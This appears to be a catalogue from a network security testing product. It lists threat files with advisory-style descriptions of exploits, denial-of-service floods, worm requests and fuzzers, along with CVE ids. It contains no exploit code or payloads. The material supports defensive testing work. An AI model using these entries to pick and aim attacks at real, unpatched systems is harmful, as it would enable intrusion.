Detailed Description:	A code execution vulnerability has been reported in Mozilla Firefox. The vulnerability is due to an integer overflow error in a font decompression routine within the Web Open Fonts Format (WOFF) decoder. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target machine by enticing a user to open a maliciously crafted WOFF file. In attack scenarios where code execution is successful the behaviour of the target system depends entirely on the logic of the injected code, which would run within the security context of the currently logged in user. In situations where code execution is not successful the affected application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2010-1028
Threat Package:	Standard
Threat File Name:	lupper3.xml
Executive Description:	Lupper Worm 3
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes.
Protocol Type:	HTTP
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	FSC20101214-28_Microsoft_Publisher_pubconv_dll_Size_Value_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Publisher pubconv.dll Size Value Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office, that could allow a remote attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to an error in the "pubconv.dll" library while handling chpRun, papRun, and tapRun structures in Microsoft Publisher files. Remote attackers could exploit this vulnerability by enticing the target user to open a malicious file. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, FTP
CVEID:	CVE-2010-2569
Threat File Name:	x7chat_cmi.xml
Executive Description:	X7 Chat 2.0 "help_file" arbitrary local inclusion
Detailed Description:	This threat exploits an arbitrary file inclusion flaw in the "help/index.php" file. X7 Chat is a web based application which typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	FSC20060711-09_Microsoft_IIS_Server_Crafted_ASP_Page_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft IIS Server Crafted ASP Page Buffer Overflow (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been identified in the Microsoft Internet Information Services product. The flaw is contained in the component responsible for processing Active Server Pages (ASP) scripts. This vulnerability may be exploited by a user who has the ability to publish ASP pages on a vulnerable host. A successful exploitation may lead to execution of arbitrary code on the target host with limited privileges. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2006-0026
Threat Package:	Standard
Threat File Name:	FSC20040805-01_libpng_Transparency_Chunk_Length_Buffer_Overflow.xml
Executive Description:	libpng Transparency Chunk Length Buffer Overflow
Detailed Description:	A vulnerability exists in the way libpng handles the transparency chunk of a PNG image. A logic error in the process makes it possible to bypass a length check in the validation process. This error can cause a memory buffer on the stack to be overflowed. It is possible to exploit this vulnerability is such a way as to gain control of the process and execute injected code.
Protocol Type:	HTTP
CVEID:	CVE-2004-0597
Threat Package:	Standard
Threat File Name:	smtp_wiz_IPv6.xml
Executive Description:	Sendmail WIZ command (IPv6 Version)
Detailed Description:	This threat uses an archaic sendmail command "WIZ". This would allow a remote shell on the target SMTP server without a password. This threat should be ineffective against any modern SMTP server. SMTP servers listen on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-1999-0145
OSVDB:	15962
Threat Package:	Standard
Threat File Name:	man2web_cmd_1_IPv6.xml
Executive Description:	man2web Remote Command Execution (IPv6 Version)
Detailed Description:	This threat attempts to run a command through a scripting flaw in the man2web HTML generation application. man2web is a CGI script that allows users to browse man pages through the web. It is part of a web server, and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2812
OSVDB:	19517
Threat Package:	Standard

Threat File Name:	TSL20120306-04_Adobe_Flash_Player_MP4_File_Memory_Corruption_IPv6.xml
Executive Description:	Adobe Flash Player MP4 File Memory Corruption(IPv6)
Detailed Description:	A memory corruption vulnerability exists in Adobe Flash Player. The vulnerability is due to insufficient validation of a user-supplied length value when parsing MP4 files, which leads to an integer wraparound. A remote attacker could exploit this vulnerability by enticing a user to open a malicious MP4 file. Successful exploitation of this vulnerability would lead to execution of arbitrary code in the security context of the target user.
Protocol Type:	IPv6, HTTP,HTTPS
CVEID:	CVE-2012-0754
OSVDB:	79300
Threat File Name:	MS04-007HTTP.xml
Executive Description:	MS04-007 HTTP ASN1 Heap Overflow
Detailed Description:	This threat causes a heap overflow in the ASN.1 parser in Microsoft's Internet Information Services server (IIS). This can be used to gain remote entry into a webserver.
Protocol Type:	HTTP
CVEID:	CVE-2003-0818
OSVDB:	3902
Threat Package:	Standard
Threat File Name:	acftp_dos.xml
Executive Description:	ACFTP FTP Server User Command Remote Denial of Service Vulnerability
Detailed Description:	This threat exploits a flaw in the way ACFTP Server parses certain characters in user commands that can cause a denial of service condition. ACFTP server typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2006-2242
Threat Package:	Standard
Threat File Name:	TSL20111011-07_Microsoft_Windows_Font_Library_File_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Font Library File Buffer Overflow(IPV6 VERSION)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows operating system. The vulnerability is due to an input validation error when the kernel parses a .FON font file. Attackers can exploit this vulnerability by enticing a user to open a malformed .fon font file. Successful exploitation of this vulnerability would result in the execution of arbitrary code within the security privileges of the Windows kernel.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,WebDAV
CVEID:	CVE-2011-2003
Threat File Name:	fuzz-HTTP-POST_PrepndHTTPWithformats.xml
Executive Description:	Fuzz HTTP POST with Request-URI prepended with %s
Detailed Description:	Fuzzes the Request-URI field by prepending %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	FSC20100608-04_Microsoft_Internet_Explorer_8_Developer_Tools_Remote_Code_Execution.xml
Executive Description:	Microsoft Internet Explorer 8 Developer Tools Remote Code Execution
Detailed Description:	There is a remote code execution vulnerability in Microsoft Internet Explorer 8 Developer Tools. The vulnerability is due to improper initialization of a Component Object Model (COM) object in the iedvtool.dll dynamic link library. A remote attacker can exploit this vulnerability by enticing a target user to visit a maliciously crafted web site. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-0811
Threat File Name:	FSC20090706-04_Oracle_Database_Server_Workspace_Manager_Multiple_SQL_Injection.xml
Executive Description:	Oracle Database Server Workspace Manager Multiple SQL Injection
Detailed Description:	Multiple SQL injection vulnerabilities exist in Oracle Database Server product. The vulnerabilities are due to insufficient sanitization of input parameters in the Oracle Workspace Manager component. A remote attacker with valid user credentials may leverage these vulnerabilities to inject and execute SQL code with escalated privileges of SYS or WMSYS account. Successful exploitation would result in disclosure of sensitive information, and modification or manipulation of the data in the underlying database.
Protocol Type:	TCP
CVEID:	CVE-2008-3982
Threat Package:	Standard
Threat File Name:	FSC20071009-18_Microsoft_Windows_RPC_NTLMSPP_Authentication_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Windows RPC NTLMSPP Authentication Denial of Service (IPv6 Version)
Detailed Description:	An integer underflow vulnerability exists in the Microsoft Windows Remote Procedure Call (RPC) service. The vulnerability is due to improper communication between the NTLM authentication component and the RPC engine. A remote un-authenticated attacker can exploit this flaw by sending specially crafted RPC requests using the NTLMSPP authentication method to terminate the RPC service on the target system. Successful attack could raise a denial of service condition on the target system, where the target system becomes non-responsive and restarts as the result of the attack. (IPv6 Version)
Protocol Type:	RPC/IPv6
CVEID:	CVE-2007-2228
Threat Package:	Standard
Threat File Name:	TSL20150811-26_Report_Microsoft_Internet_Explorer_Array_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Internet Explorer Array Type Confusion IPv6 version

Detailed Description:	A type confusion vulnerability exists in Microsoft Internet Explorer. This vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2015-2448
Threat File Name:	netgear_xss.xml
Executive Description:	Netgear URL Filter Cross-Site Scripting Injection
Detailed Description:	This threat sends a URL request for a file that should be filtered by a Netgear router. The Netgear router in this instance will filter the request, block the URL, and enter an entry into its log. However, this entry can be used as a vector of attack with cross site scripting injection. When the log is later viewed by a user, the Javascript is executed with the privileges of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2005-0291
OSVDB:	13012
Threat Package:	Standard
Threat File Name:	FSC20041014-01_Microsoft_Windows_Compressed_Folders_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Compressed Folders Buffer Overflow
Detailed Description:	A vulnerability exists in the Microsoft Windows compressed folder handling method. A specially crafted compressed folder, containing a file with an overly long file name could trigger a buffer overflow. This flaw could allow an attacker to inject and execute malicious code on a target machine.
Protocol Type:	HTTP
CVEID:	CVE-2004-0575
Threat Package:	Standard
Threat File Name:	bsmtp_inject.xml
Executive Description:	BSMTDP Command Injection
Detailed Description:	This threat takes advantage of a command injection flaw in Debian's bsmtpd batch mailer program. This allows a user to specify shell characters to run an arbitrary program in the context of the daemon. This threat takes advantage of an SMTP mailer, which typically listens on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-0107
OSVDB:	14246
Threat Package:	Standard
Threat File Name:	TSL20130208-02_Adobe_Flash_Player_Regular_Expression_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Flash Player Regular Expression Heap Buffer Overflow(IPV6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in Adobe Flash Player. The vulnerability is due to an error when processing regular expressions that could allow a remote attacker to inject and execute arbitrary code on the affected system. A remote attacker can exploit this vulnerability by enticing a user to download and view a malicious file. This vulnerability is being exploited in the wild in targeted attacks via a Flash (.swf) file embedded in a Microsoft Word (.doc) file delivered as an email attachment.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-0633
OSVDB:	89936
Threat File Name:	TSL20140717-06_Apache_HTTP_Server_mod_proxy_Denial_of_Service_IPv6.xml
Executive Description:	Apache HTTP Server mod_proxy Denial of Service IPv6 version
Detailed Description:	A denial of service vulnerability exists in Apache HTTP server. The vulnerability exists in the mod_proxy module and is due to an error handling malformed HTTP headers. A remote, unauthenticated attacker can leverage this vulnerability by sending a malicious request to the target server. Successful exploitation would result in a denial of service condition on the target.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-0117
OSVDB:	109232
Threat File Name:	sipmultiplefrom_IPv6.xml
Executive Description:	SIP Multiple From: Headers (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with multiple From: headers. This may confuse or crash a PBX that isn't very robust. (IPv6 Version)
Protocol Type:	SIP/IPV6
Threat Package:	VoIP
Threat File Name:	FSC20040917-01_Mozilla_BMP_Parsing_Integer_Overflow_IPv6.xml
Executive Description:	Mozilla BMP Parsing Integer Overflow (IPv6 Version)
Detailed Description:	A vulnerability exists in the way several versions of the Mozilla web browser parses BMP images. The browser is not equipped to handle a BMP image with an overly large width value. This vulnerability may be leveraged by an attacker to execute arbitrary code on a target user's system or create a denial of service condition. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0904
Threat Package:	Standard
Threat File Name:	TSL20130709-33_Microsoft_Internet_Explorer_CVE-2013-3147_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3147 Memory Corruption [IPv6, Version]
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPV6,HTTPS,HTTP
CVEID:	CVE-2013-3147
OSVDB:	94971

Threat File Name:	FSC20070827-11_Motorola_Timbuktu_Crafted_Login_Request_Buffer_Overflow.xml
Executive Description:	Motorola Timbuktu Crafted Login Request Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Motorola Timbuktu product. The vulnerability is due to lack of boundary protection when handling user login requests. A remote unauthenticated attacker can leverage this flaw to inject and execute arbitrary code on the target host with System level privileges.
Protocol Type:	TCP
CVEID:	CVE-2007-4221
Threat Package:	Standard
Threat File Name:	limbocms_sqli_IPv6.xml
Executive Description:	Limbo CMS 1.0.4.2 (catid) Remote SQL Injection Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query containing an SQL query which is executed by the server via the "catid" parameter. LimboCMS is a web application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20131205-08_Cisco_Prime_Data_Center_Network_Manager_FileUploadServlet_Arbitrary_File_Upload_IPv6.xml
Executive Description:	Cisco Prime Data Center Network Manager FileUploadServlet Arbitrary File Upload(IPv6 Version)
Detailed Description:	An arbitrary file upload vulnerability exists in Cisco Prime Data Center Network Manager. The vulnerability is due to lack of authentication and insufficient input validation in the <i>FileUploadServlet</i> when processing HTTP requests. <p>A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing files in critical locations.</p>
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2013-5486
OSVDB:	97425
Threat File Name:	sipspaceregend.xml
Executive Description:	SIPPING: Multiple Spaces at Request Line End
Detailed Description:	This threat sends out a SIP OPTIONS message with multiple spaces at the end of the request line. This is invalid although an implementation may try to compensate for it. Because it is unexpected, this may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	MOKB-26-11-2006.xml
Executive Description:	Apple Mac OS X Mach-O Binary Loading Integer Overflow Vulnerability.
Detailed Description:	This threat demonstrates the MOKB-26-11-2006 Mach-O binary loader integer overflow flaw, this threat is delivered over HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-6129
Threat Package:	Standard
Threat File Name:	TSL20170306-03_Apache_Struts_Jakarta_Multipart_Parser_Remote_Code_Execution.xml
Executive Description:	Apache Struts Jakarta Multipart Parser Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Apache Struts. The vulnerability is due to a design weakness in the way Content-Type headers are processed by the Jakarta Multipart Parser component of Apache Struts. A remote attacker could exploit this vulnerability by sending a crafted request to the target server. Successful exploitation will allow an attacker to execute arbitrary code with the privileges of the server.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5638
Threat File Name:	fuzz-HTTP_AppendformatsToOPTION.xml
Executive Description:	Fuzz HTTP OPTION appended by %s
Detailed Description:	Fuzzes the Method field appending by %s
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	care2x_rfi.xml
Executive Description:	CARE2X (root_path) Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. CARE2X is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1458
Threat File Name:	FSC20080328-04_Mozilla_Firefox_IFRAME_Style_Change_Handling_Code_Execution.xml
Executive Description:	Mozilla Firefox IFRAME Style Change Handling Code Execution
Detailed Description:	There exists a memory corruption vulnerability in Mozilla Firefox products. The flaw is due to improper handling of changes to style elements of IFrame objects. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious webpage. Successful attacks could allow for arbitrary code injection and execution with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1236
Threat Package:	Standard
Threat File Name:	FSC20101012-32_Microsoft_Office_Excel_MergeCells_Record_Parsing_Code_Execution_IPv6.xml
Executive Description:	Microsoft Office Excel MergeCells Record Parsing Code Execution (IPv6 Version)
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to improper parsing of <i>MergeCells</i> Excel record in an Excel document that potentially allows for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. <p>In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate as a result of memory corruption.</p>

Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-3237
Threat Package:	Standard
Threat File Name:	TSL20140603-14_Rocket_Servergraph_Admin_Center_userRequest_and_tsmRequest_Command_Execution_IPv6.xml
Executive Description:	Rocket Servergraph Admin Center userRequest and tsmRequest Command Execution IPv6 version.
Detailed Description:	Multiple vulnerabilities exist in Rocket Servergraph, an interface for monitoring backup solutions such as IBM Tivoli Storage Manager, Symantec NetBackup etc. These vulnerabilities are due to input validation errors when handling requests to the URIs userRequest and tsmRequest.A remote unauthenticated attacker can exploit these vulnerabilities to achieve arbitrary command execution under the context of the SYSTEM user.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-3915
OSVDB:	107681
Threat File Name:	FSC20080708-03_Microsoft_SQL_Server_CONVERT_Function_Buffer_Overflow.xml
Executive Description:	Microsoft SQL Server CONVERT Function Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft SQL Server. The vulnerability is specifically caused by insufficient data validation when processing parameters passed to CONVERT function in an SQL statement. A remote authenticated attacker can exploit this vulnerability to execute arbitrary code with privileges of SQL Server process on the target system.
Protocol Type:	MS-SQL-S
CVEID:	CVE-2008-0086
Threat Package:	Standard
Threat File Name:	FSC20071023-20_IBM_Lotus_Notes_WPD_Attachment_Viewer_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Notes WPD Attachment Viewer Buffer Overflow (IPv6 Version)
Detailed Description:	There exist a buffer overflow vulnerability in IBM Lotus Notes WPD viewer. The vulnerability is due to a boundary error while processing crafted WordPerfect (.wpd) files. A remote attacker can exploit this vulnerability by persuading a target user to open a malicious WPD file in Lotus email attachment. Successful exploitation of this vulnerability may allow arbitrary code injection and execution within the context of the logged in user. (IPv6 Version)
Protocol Type:	IMAP/IPv6
CVEID:	CVE-2007-5544
Threat Package:	Standard
Threat File Name:	FSC20071105-20_Apple_QuickTime_Panorama_Sample_Atoms_Movie_File_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime Panorama Sample Atoms Movie File Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Apple QuickTime. The flaw is due to boundary errors in the QuickTime Virtual Reality (QTVR) when processing QTVR movie files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted QTVR movie file. Successful exploitation may lead to arbitrary code execution in the security context of the logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4675
Threat Package:	Standard
Threat File Name:	stpfflood_IPv6.xml
Executive Description:	Spanning Tree Protocol Flood (IPv6 Version)
Detailed Description:	This is an attempt to confuse routers and switches by flooding them with false spanning tree protocol packets. (IPv6 Version)
Protocol Type:	STP/IPv6
CVEID:	CVE-2003-0550
OSVDB:	10294
Threat Package:	Standard
Threat File Name:	msword_pointer_IPv6.xml
Executive Description:	Microsoft Word Malformed Pointer (IPv6 Version)
Detailed Description:	This crash/attack causes microsoft word to attempt to write to arbitrary memory. This flaw _can_ be exploited, but requires the attacker to know the exact version of word used and the method used for opening the file. This is due to memory layout conditions as part of the exploit. This attack appears to come from a malicious webserver via the virtual server, typically over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20141020-05_PHP_Core_unserialize_Function_Integer_Overflow_IPv6.xml
Executive Description:	PHP Core unserialize Function Integer Overflow IPv6 version
Detailed Description:	A code execution vulnerability has been reported in PHP core. The vulnerability is due to an integer overflow within the unserialize() function. A remote attacker can exploit the vulnerability by sending crafted serialize data to a web application running a vulnerable version of PHP. A successful attack will crash the application, and possibly remote code execution.
Protocol Type:	HTTP/HTTPS.IPV6
CVEID:	CVE-2014-3669
OSVDB:	113423
Threat File Name:	imap_buffer_overflow_513_IPv6.xml
Executive Description:	IMAP Buffer Overflow [513] Attack (IPv6 Version)
Detailed Description:	This generic threat sends a long buffer [513 bytes] against an IMAP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	upnpdos_IPv6.xml
Executive Description:	MS05-047 UMPNPMGR Stack Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat is a denial of service against the UMUPNPMGR.dll. This attack uses the SMB port on Microsoft systems, which typically listens on port 445. (IPv6 Version)
Protocol Type:	SMB/IPv6

CVEID:	CVE-2005-2120
OSVDB:	18830
Threat Package:	Standard
Threat File Name:	TSL20131205-03_GIMP_XWD_File_Handling_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	GIMP XWD File Handling Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability leading to code execution has been reported in GNU Image Manipulation Program (GIMP). The vulnerability is due to insufficient validation of certain fields while parsing XWD files. Remote attackers can exploit this vulnerability by enticing the target user to open a malicious XWD file. Successful exploitation could result in injection and execution of arbitrary code, within the security context of the current logged in user. The behaviour of the target would depend on the intention of the malicious code. If code injection is not successful, the affected application will terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS,IPv6
CVEID:	CVE-2013-1978
Threat File Name:	osx_mailapp_bof_IPv6.xml
Executive Description:	Apple Mac OS X Mail Message Attachment Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat delivers an email which triggers a buffer overflow vulnerability in the Mail.app software package. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2006-0396
OSVDB:	23872
Threat Package:	Standard
Threat File Name:	FSC20080402-08_HP_OpenView_Network_Node_Manager_HTTP_Handling_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager HTTP Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in HP OpenView Network Node Manager. The flaw is due to a boundary error when processing overly long HTTP GET requests. A remote unauthenticated attacker can send a crafted HTTP request to the target host to exploit this vulnerability. Successful attack could allow for arbitrary code being injected and executed with the privileges of the affected service, which is normally System on Windows platforms. In an attack case where code injection is not successful, the affected service will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, normally System.
Protocol Type:	HTTP
CVEID:	CVE-2008-1697
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_WRQ_MAIL_formatn.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRQ_MAIL_formatn.xml
Detailed Description:	Fuzzes Mode field by appending %n to mail with ranging sizes. OpCode is WRQ.
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	opera9_dos_b.xml
Executive Description:	Opera Malicious HTML Processing Denial of Service Vulnerability
Detailed Description:	Opera Web Browser is prone to a denial-of-service condition when parsing certain malicious HTML content. Successful exploits will cause the browser to fail or hang. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3199
Threat Package:	Standard
Threat File Name:	TSL20130729-15_PineApp_Mail-SeCure_confpremenu_php_Export_Log_Command_Injection_IPv6.xml
Executive Description:	PineApp Mail-SeCure confpremenu.php Export Log Command Injection(IPv6 Version)
Detailed Description:	A command execution vulnerability exists in PineApp Mail-SeCure. The vulnerability is due to an input validation error in the confpremenu.php script while exporting logs. A remote attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable server. Successful exploitation could result in commands being executed with root privileges.
Protocol Type:	HTTP,HTTPS,IPv6
OSVDB:	95783
Threat File Name:	FSC20070814-15_Microsoft_Windows_Vista_Feed_Headlines_Gadget_Code_Execution.xml
Executive Description:	Microsoft Windows Vista Feed Headlines Gadget Code Execution
Detailed Description:	There exists a cross site scripting vulnerability in Microsoft Windows Vista Feed Headlines gadget. The vulnerability is caused due to lack of input validation when parsing RSS feeds. A remote attacker can exploit this vulnerability by convincing a target user to subscribe to a malicious RSS feed, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-3033
Threat Package:	Standard
Threat File Name:	snort_tcpop_dos_IPv6.xml
Executive Description:	Snort TCP Options Denial of Service (IPv6 Version)
Detailed Description:	This threat sends out a TCP packet with the options set to 0600ffff, which is known to cause Snort to crash when running from a command line. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2003-0209
OSVDB:	4444
Threat Package:	Standard
Threat File Name:	mercur2_IPv6.xml
Executive Description:	Mercur Mail Server administrative Control Service Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a large packet to the administrative port of Mercur Mailserver, which can cause certain versions to crash. This threat could be also adjusted to make it execute code remotely. The administrative port typically listens on port 32000. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2000-0239

OSVDB:	10887
Threat Package:	Standard
Threat File Name:	TSL20160510-33_Microsoft_Edge_JavaScript_Engine_Array.shift_Method_Memory_Corruption.xml
Executive Description:	Microsoft Edge JavaScript Engine Array.shift Method Memory Corruption
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge JavaScript Engine. This vulnerability is due to an improper validation in Array.shift method. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-0186
Threat File Name:	TSL20150630-11_IBM_Tivoli_Storage_Manager_FastBack_Server_Opcode_1332_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Server Opcode 1332 Buffer Overflow IPv6 version.
Detailed Description:	A buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Server. The vulnerability is due to insufficient boundary checking on parameters in opcode 1332 requests. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 11460/TCP. Successful exploitation results in arbitrary code execution within the context of System. Tester should set variable \$destPort to 11460 before test.
Protocol Type:	TCP.IPv6
CVEID:	CVE-2015-1925
Threat File Name:	sawmill_xss.xml
Executive Description:	Sawmill XSS Attempt
Detailed Description:	This threat is executed when an attacker causes a victim to view a webpage with Javascript injected. This can lead to various forms of identity theft. This particular attack could work well against any HTTP based web system. Sawmill is a web based log analysis tool, and typically listens on port 8987.
Protocol Type:	HTTP
CVEID:	CVE-2005-2950
OSVDB:	19254
Threat Package:	Standard
Threat File Name:	lupper20_IPv6.xml
Executive Description:	Lupper Worm 20 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	TSL20170428-01_Jenkins_CI_Server_Multiple_Cross-Site_Request_Forgery_IPv6.xml
Executive Description:	Jenkins CI Server Multiple Cross-Site Request Forgery (IPv6 Version)
Detailed Description:	Multiple Cross-Site Request Forgery vulnerabilities have been reported in Jenkins CI. The vulnerabilities are due to a lack of CSRF protections on certain types of requests. A remote, unauthenticated attacker can exploit these vulnerabilities by enticing an authenticated user to click a maliciously crafted link or open a maliciously crafted web page. Successful exploitation of these vulnerabilities could lead to a variety of effects including denial-of-service, configuration changes, and, in the worst case, arbitrary command execution with the privileges of Jenkins.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-1000356
Threat File Name:	FSC20110104-03_Microsoft_Graphics_Rendering_Engine_Thumbnail_Image_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Graphics Rendering Engine Thumbnail Image Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A stack buffer overflow vulnerability exists in Microsoft's Graphics Rendering Engine. The vulnerability is due to insufficient input validation when processing the <italic>biClrUsed</italic> value of a bitmap thumbnail. An attacker can exploit this vulnerability by enticing a user to handle a specially crafted file. The file could be embedded in Office documents or a .MIC file. This vulnerability may be triggered by previewing the malicious file in thumbnail view. Successful exploitation could lead to arbitrary code execution.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2010-3970
Threat File Name:	bee-hive_rfi_IPv6.xml
Executive Description:	Bee-hive Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url that exploits a failing in the "rootGui.inc.php" function which allows a malicious user to include commands in the context of the vulnerable web server. Bee-hive is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3266
Threat Package:	Standard
Threat File Name:	raccoon_dos.xml
Executive Description:	Raccoon Denial Of Service Attack
Detailed Description:	This threat sends flood of ISAKMP packets at the Raccoon VPN server. It uses random elements in the reserved flag fields, causing a crash. KAME listens typically listens on UDP port 500.
Protocol Type:	ISAKMP
CVEID:	CVE-2005-0398
Threat Package:	Standard
Threat File Name:	FSC20080116-02_Microsoft_Excel_File_Handling_Code_Execution_Vulnerability_IPv6.xml
Executive Description:	Microsoft Excel File Handling Code Execution Vulnerability (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Excel. The vulnerability is a due to improper parsing of the rtAFDesc record of Excel files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	/IPv6

CVEID:	CVE-2008-0081
Threat Package:	Standard
Threat File Name:	FSC20040518-02_Symantec_DNS_Response_DoS_IPv6.xml
Executive Description:	Symantec DNS Response DoS (IPv6 Version)
